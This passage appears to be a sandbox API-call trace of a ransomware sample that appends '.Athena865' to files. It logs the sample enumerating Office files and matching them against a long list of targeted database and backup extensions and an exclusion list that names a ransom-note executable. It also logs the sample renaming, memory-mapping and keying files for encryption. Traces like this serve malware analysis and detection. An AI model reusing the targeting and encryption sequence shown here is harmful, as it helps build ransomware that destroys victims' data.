(lpString1="DLL", lpString2="his") returned -1 [0149.830] lstrlenW (lpString="ib") returned 2 [0149.830] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0149.830] lstrlenW (lpString="idb") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0149.830] lstrlenW (lpString="ihx") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0149.830] lstrlenW (lpString="itdb") returned 4 [0149.830] lstrcmpiW (lpString1="_DLL", lpString2="itdb") returned -1 [0149.830] lstrlenW (lpString="itw") returned 3 [0149.830] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0149.830] lstrlenW (lpString="jet") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0149.831] lstrlenW (lpString="jtx") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0149.831] lstrlenW (lpString="kdb") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0149.831] lstrlenW (lpString="kexi") returned 4 [0149.831] lstrcmpiW (lpString1="_DLL", lpString2="kexi") returned -1 [0149.831] lstrlenW (lpString="kexic") returned 5 [0149.831] lstrcmpiW (lpString1="X_DLL", lpString2="kexic") returned 1 [0149.831] lstrlenW (lpString="kexis") returned 5 [0149.831] lstrcmpiW (lpString1="X_DLL", lpString2="kexis") returned 1 [0149.831] lstrlenW (lpString="lgc") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0149.831] lstrlenW (lpString="lwx") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0149.831] lstrlenW (lpString="maf") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0149.831] lstrlenW (lpString="maq") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0149.831] lstrlenW (lpString="mar") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0149.831] lstrlenW (lpString="marshal") returned 7 [0149.831] lstrcmpiW (lpString1="IDX_DLL", lpString2="marshal") returned -1 [0149.831] lstrlenW (lpString="mas") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0149.831] lstrlenW (lpString="mav") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0149.831] lstrlenW (lpString="maw") returned 3 [0149.831] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0149.832] lstrlenW (lpString="mdbhtml") returned 7 [0149.832] lstrcmpiW (lpString1="IDX_DLL", lpString2="mdbhtml") returned -1 [0149.832] lstrlenW (lpString="mdn") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0149.832] lstrlenW (lpString="mdt") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0149.832] lstrlenW (lpString="mfd") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0149.832] lstrlenW (lpString="mpd") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0149.832] lstrlenW (lpString="mrg") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0149.832] lstrlenW (lpString="mud") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0149.832] lstrlenW (lpString="mwb") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0149.832] lstrlenW (lpString="myd") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0149.832] lstrlenW (lpString="ndf") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0149.832] lstrlenW (lpString="nnt") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0149.832] lstrlenW (lpString="nrmlib") returned 6 [0149.832] lstrcmpiW (lpString1="DX_DLL", lpString2="nrmlib") returned -1 [0149.832] lstrlenW (lpString="ns2") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0149.832] lstrlenW (lpString="ns3") returned 3 [0149.832] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0149.833] lstrlenW (lpString="ns4") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0149.833] lstrlenW (lpString="nsf") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0149.833] lstrlenW (lpString="nv") returned 2 [0149.833] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0149.833] lstrlenW (lpString="nv2") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0149.833] lstrlenW (lpString="nwdb") returned 4 [0149.833] lstrcmpiW (lpString1="_DLL", lpString2="nwdb") returned -1 [0149.833] lstrlenW (lpString="nyf") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0149.833] lstrlenW (lpString="odb") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.833] lstrlenW (lpString="odb") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0149.833] lstrlenW (lpString="oqy") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0149.833] lstrlenW (lpString="ora") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0149.833] lstrlenW (lpString="orx") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0149.833] lstrlenW (lpString="owc") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0149.833] lstrlenW (lpString="p96") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0149.833] lstrlenW (lpString="p97") returned 3 [0149.833] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0149.833] lstrlenW (lpString="pan") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0149.834] lstrlenW (lpString="pdb") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0149.834] lstrlenW (lpString="pdm") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0149.834] lstrlenW (lpString="pnz") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0149.834] lstrlenW (lpString="qry") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0149.834] lstrlenW (lpString="qvd") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0149.834] lstrlenW (lpString="rbf") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0149.834] lstrlenW (lpString="rctd") returned 4 [0149.834] lstrcmpiW (lpString1="_DLL", lpString2="rctd") returned -1 [0149.834] lstrlenW (lpString="rod") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0149.834] lstrlenW (lpString="rodx") returned 4 [0149.834] lstrcmpiW (lpString1="_DLL", lpString2="rodx") returned -1 [0149.834] lstrlenW (lpString="rpd") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0149.834] lstrlenW (lpString="rsd") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0149.834] lstrlenW (lpString="sas7bdat") returned 8 [0149.834] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sas7bdat") returned -1 [0149.834] lstrlenW (lpString="sbf") returned 3 [0149.834] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0149.834] lstrlenW (lpString="scx") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0149.835] lstrlenW (lpString="sdb") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0149.835] lstrlenW (lpString="sdc") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0149.835] lstrlenW (lpString="sdf") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0149.835] lstrlenW (lpString="sis") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0149.835] lstrlenW (lpString="spq") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0149.835] lstrlenW (lpString="te") returned 2 [0149.835] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0149.835] lstrlenW (lpString="teacher") returned 7 [0149.835] lstrcmpiW (lpString1="IDX_DLL", lpString2="teacher") returned -1 [0149.835] lstrlenW (lpString="tmd") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0149.835] lstrlenW (lpString="tps") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0149.835] lstrlenW (lpString="trc") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.835] lstrlenW (lpString="trc") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0149.835] lstrlenW (lpString="trm") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0149.835] lstrlenW (lpString="udb") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0149.835] lstrlenW (lpString="udl") returned 3 [0149.835] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0149.835] lstrlenW (lpString="usr") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0149.836] lstrlenW (lpString="v12") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0149.836] lstrlenW (lpString="vis") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0149.836] lstrlenW (lpString="vpd") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0149.836] lstrlenW (lpString="vvv") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0149.836] lstrlenW (lpString="wdb") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0149.836] lstrlenW (lpString="wmdb") returned 4 [0149.836] lstrcmpiW (lpString1="_DLL", lpString2="wmdb") returned -1 [0149.836] lstrlenW (lpString="wrk") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0149.836] lstrlenW (lpString="xdb") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0149.836] lstrlenW (lpString="xld") returned 3 [0149.836] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0149.836] lstrlenW (lpString="xmlff") returned 5 [0149.836] lstrcmpiW (lpString1="X_DLL", lpString2="xmlff") returned -1 [0149.836] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.Athena865") returned 78 [0149.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0149.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.840] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99200) returned 1 [0149.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.841] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.842] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.842] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.843] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18680, lpName=0x0) returned 0x17c [0149.844] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18680) returned 0x100000 [0149.852] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.852] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.852] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.853] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.854] CloseHandle (hObject=0x17c) returned 1 [0149.854] CloseHandle (hObject=0x154) returned 1 [0149.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.855] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414a0a00, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x414a0a00, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x5db80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.REST.IDX_DLL", cAlternateFileName="XLINTL~2.IDX")) returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2=".") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="..") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="windows") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="temp") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="pagefile.sys") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="boot") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="perflogs") returned 1 [0149.855] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0149.855] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0149.856] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLINTL32.REST.IDX_DLL" | out: lpString1="XLINTL32.REST.IDX_DLL") returned="XLINTL32.REST.IDX_DLL" [0149.856] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0149.856] lstrlenW (lpString="Athena865") returned 9 [0149.856] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0149.856] lstrlenW (lpString=".dll") returned 4 [0149.856] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2=".dll") returned 1 [0149.856] lstrlenW (lpString=".lnk") returned 4 [0149.856] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2=".lnk") returned 1 [0149.856] lstrlenW (lpString=".ini") returned 4 [0149.856] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2=".ini") returned 1 [0149.856] lstrlenW (lpString=".sys") returned 4 [0149.856] lstrcmpiW (lpString1="XLINTL32.REST.IDX_DLL", lpString2=".sys") returned 1 [0149.856] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0149.856] lstrlenW (lpString="bak") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0149.856] lstrlenW (lpString="ba_") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0149.856] lstrlenW (lpString="dbb") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0149.856] lstrlenW (lpString="vmdk") returned 4 [0149.856] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0149.856] lstrlenW (lpString="rar") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0149.856] lstrlenW (lpString="zip") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0149.856] lstrlenW (lpString="tgz") returned 3 [0149.856] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0149.857] lstrlenW (lpString="vbox") returned 4 [0149.857] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0149.857] lstrlenW (lpString="vdi") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0149.857] lstrlenW (lpString="vhd") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0149.857] lstrlenW (lpString="vhdx") returned 4 [0149.857] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0149.857] lstrlenW (lpString="avhd") returned 4 [0149.857] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0149.857] lstrlenW (lpString="db") returned 2 [0149.857] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0149.857] lstrlenW (lpString="db2") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0149.857] lstrlenW (lpString="db3") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0149.857] lstrlenW (lpString="dbf") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0149.857] lstrlenW (lpString="mdf") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0149.857] lstrlenW (lpString="mdb") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0149.857] lstrlenW (lpString="sql") returned 3 [0149.857] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0149.857] lstrlenW (lpString="sqlite") returned 6 [0149.857] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0149.857] lstrlenW (lpString="sqlite3") returned 7 [0149.857] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0149.857] lstrlenW (lpString="sqlitedb") returned 8 [0149.857] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0149.858] lstrlenW (lpString="xml") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0149.858] lstrlenW (lpString="$er") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0149.858] lstrlenW (lpString="4dd") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0149.858] lstrlenW (lpString="4dl") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0149.858] lstrlenW (lpString="^^^") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0149.858] lstrlenW (lpString="abs") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0149.858] lstrlenW (lpString="abx") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0149.858] lstrlenW (lpString="accdb") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accdb") returned 1 [0149.858] lstrlenW (lpString="accdc") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accdc") returned 1 [0149.858] lstrlenW (lpString="accde") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accde") returned 1 [0149.858] lstrlenW (lpString="accdr") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accdr") returned 1 [0149.858] lstrlenW (lpString="accdt") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accdt") returned 1 [0149.858] lstrlenW (lpString="accdw") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accdw") returned 1 [0149.858] lstrlenW (lpString="accft") returned 5 [0149.858] lstrcmpiW (lpString1="X_DLL", lpString2="accft") returned 1 [0149.858] lstrlenW (lpString="adb") returned 3 [0149.858] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.859] lstrlenW (lpString="adb") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0149.859] lstrlenW (lpString="ade") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0149.859] lstrlenW (lpString="adf") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0149.859] lstrlenW (lpString="adn") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0149.859] lstrlenW (lpString="adp") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0149.859] lstrlenW (lpString="alf") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0149.859] lstrlenW (lpString="ask") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0149.859] lstrlenW (lpString="btr") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0149.859] lstrlenW (lpString="cat") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0149.859] lstrlenW (lpString="cdb") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0149.859] lstrlenW (lpString="ckp") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0149.859] lstrlenW (lpString="cma") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0149.859] lstrlenW (lpString="cpd") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0149.859] lstrlenW (lpString="dacpac") returned 6 [0149.859] lstrcmpiW (lpString1="DX_DLL", lpString2="dacpac") returned 1 [0149.859] lstrlenW (lpString="dad") returned 3 [0149.859] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0149.860] lstrlenW (lpString="dadiagrams") returned 10 [0149.860] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="dadiagrams") returned 1 [0149.860] lstrlenW (lpString="daschema") returned 8 [0149.860] lstrcmpiW (lpString1=".IDX_DLL", lpString2="daschema") returned -1 [0149.860] lstrlenW (lpString="db-journal") returned 10 [0149.860] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="db-journal") returned 1 [0149.860] lstrlenW (lpString="db-shm") returned 6 [0149.860] lstrcmpiW (lpString1="DX_DLL", lpString2="db-shm") returned 1 [0149.860] lstrlenW (lpString="db-wal") returned 6 [0149.860] lstrcmpiW (lpString1="DX_DLL", lpString2="db-wal") returned 1 [0149.860] lstrlenW (lpString="dbc") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0149.860] lstrlenW (lpString="dbs") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0149.860] lstrlenW (lpString="dbt") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0149.860] lstrlenW (lpString="dbv") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0149.860] lstrlenW (lpString="dbx") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0149.860] lstrlenW (lpString="dcb") returned 3 [0149.860] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0149.860] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.Athena865") returned 79 [0149.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0149.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.863] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=383872) returned 1 [0149.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.863] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.864] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.864] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.864] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5de80, lpName=0x0) returned 0x17c [0149.867] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5de80) returned 0x2bb0000 [0149.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.883] CryptGenRandom (in: 